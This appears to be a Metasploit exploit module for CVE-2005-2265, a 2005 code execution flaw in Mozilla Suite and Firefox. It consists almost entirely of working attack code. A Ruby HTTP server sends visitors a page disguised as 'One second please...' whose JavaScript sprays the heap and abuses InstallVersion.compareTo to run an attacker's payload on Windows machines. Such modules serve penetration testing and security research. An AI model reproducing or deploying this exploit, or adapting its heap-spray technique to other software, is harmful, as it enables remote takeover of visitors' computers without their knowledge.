##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  #include Msf::Exploit::Remote::BrowserAutopwn
  # The version for this vuln is tricky because it affects mozilla 1.7-1.7.10
  # and firefox 1.0-1.0.4, so we set minver and maxver to the outer bounds.
  #autopwn_info({
  #  :ua_name => HttpClients::FF,
  #  :ua_minver => "1.0",
  #  :ua_maxver => "1.7.10",
  #  :os_name => OperatingSystems::Match::WINDOWS,
  #  :javascript => true,
  #  :rank => NormalRanking, # reliable memory corruption
  #  :vuln_test => "if (typeof InstallVersion != 'undefined') { is_vuln = true; }",
  #})

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mozilla Suite/Firefox compareTo() Code Execution',
      'Description'    => %q{
          This module exploits a code execution vulnerability in the Mozilla
        Suite, Mozilla Firefox, and Mozilla Thunderbird applications. This exploit
        module is a direct port of Aviv Raff's HTML PoC.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>  ['hdm', 'Aviv Raff <avivra[at]gmail.com>'],
      'References'     =>
        [
          ['CVE',    '2005-2265'],
          ['OSVDB',  '17968'],
          ['BID',    '14242'],
          ['URL',    'http://www.mozilla.org/security/announce/mfsa2005-50.html'],
        ],
      'Payload'        =>
        {
          'Space'    => 400,
          'BadChars' => "\x00",
        },
      'Platform'       => %w{ win },
      'Targets'        =>
        [
          # Tested against Firefox 1.0.4 and Mozilla 1.7.1 on
          # WinXP-SP3 and Win2kAS-SP0
          [ 'Firefox < 1.0.5, Mozilla < 1.7.10, Windows',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86,
              'Ret' => 0x0c0c0c0c,
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 13 2005'
      ))
  end

  def on_request_uri(cli, request)

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name}")
    send_response_html(cli, generate_html(p), { 'Content-Type' => 'text/html' })

    # Handle the payload
    handler(cli)
  end

  def generate_html(payload)

    enc_code = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
    enc_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(target.arch))

    spray_to = sprintf("0x%.8x", target.ret)
    spray_slide1 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )
    spray_slide2 = Rex::Text.to_unescape( [target.ret].pack('V'), Rex::Arch.endian(target.arch) )
    eax_address = sprintf("0x%.8x", target.ret)

    return %Q|
<html>
<head>
<!--
  Copyright (C) 2005-2006 Aviv Raff (with minor modifications by HDM for the MSF module)
  From: http://aviv.raffon.net/2005/12/11/MozillaUnderestimateVulnerabilityYetAgainPlusOldVulnerabilityNewExploit.aspx
  Greets: SkyLined, The Insider and shutdown
-->
  <title>One second please...</title>
  <script language="javascript">

    function BodyOnLoad()
    {
      location.href="javascript:void (new InstallVersion());";
      CrashAndBurn();
    };

    #{js_heap_spray}
    // The "Heap Spraying" is based on SkyLined InternetExploiter2 methodology
    function CrashAndBurn()
    {
      // Payload - Just return..
      var payLoadCode=unescape("#{enc_code}");

      // Size of the heap blocks
      var heapBlockSize=0x400000;
      sprayHeap(payLoadCode, #{target.ret}, heapBlockSize - (payLoadCode.length + 0x38));

      // Set address to fake "pdata".
      var eaxAddress = #{eax_address};

      //	This was taken from shutdown's PoC in bugzilla
      // struct vtbl { void (*code)(void); };
      // struct data { struct vtbl *pvtbl; };
      //
      // struct data *pdata = (struct data *)(xxAddress & ~0x01);
      // pdata->pvtbl->code(pdata);
      //
      (new InstallVersion).compareTo(new Number(eaxAddress >> 1));
    }
// -->
  </script>
</head>
<body onload="BodyOnLoad()">
</body>
</html>
    |
  end

end
